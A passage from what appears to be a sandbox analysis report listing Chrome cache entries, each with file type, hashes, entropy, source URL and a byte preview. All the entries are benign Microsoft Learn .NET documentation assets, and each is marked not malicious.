Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	downloaded
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-learn-challenge-2024.jpg
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016149588804727
Encrypted:	false
SSDEEP:	768:haAq16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTKGLlO6eAbTIr4audZqBkZRLg
MD5:	1FF4CE3C1DB69A5146B03AD8BE62F5EB
SHA1:	5D177F6D11FCFF2BD62E61983383BB39D9F045E4
SHA-256:	222F320F99EF710DCE98F125314F30DAC99CF408525D86F185B317A878D48A5C
SHA-512:	36D198120D83AA9BDC2E74F80B99E2219EE4F03A8DD93A1E58A9E30BD48E829E5220A9F5FE6FC29B3810ED85005A8DCD0EAD04EE06DCCD0A15CD6D080E88641D
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=pVbAZEFIpI.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33273), with no line terminators
Category:	downloaded
Size (bytes):	33273
Entropy (8bit):	4.918756013698695
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUukj:5hOEO8chkMet7pCjBfcHkWOzUukj
MD5:	86E84C732A96BF9CF18C99B48DB90B6D
SHA1:	6A8C212067CB9FE5B8325AE1E89FCA3E7FCF20FA
SHA-256:	B54678C5BFB00DC1AFBF2E52C56F8E10173975C25FB19062EFE5DC86F1B7D769
SHA-512:	AD91A78371074B5BB2105A9AE69664371C235B7C82DFD25C9ED17F435E92018F2A0DD42203F403D7A75DF4FC63966017519F118B2B22F0DE7656B2B155636AA2
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
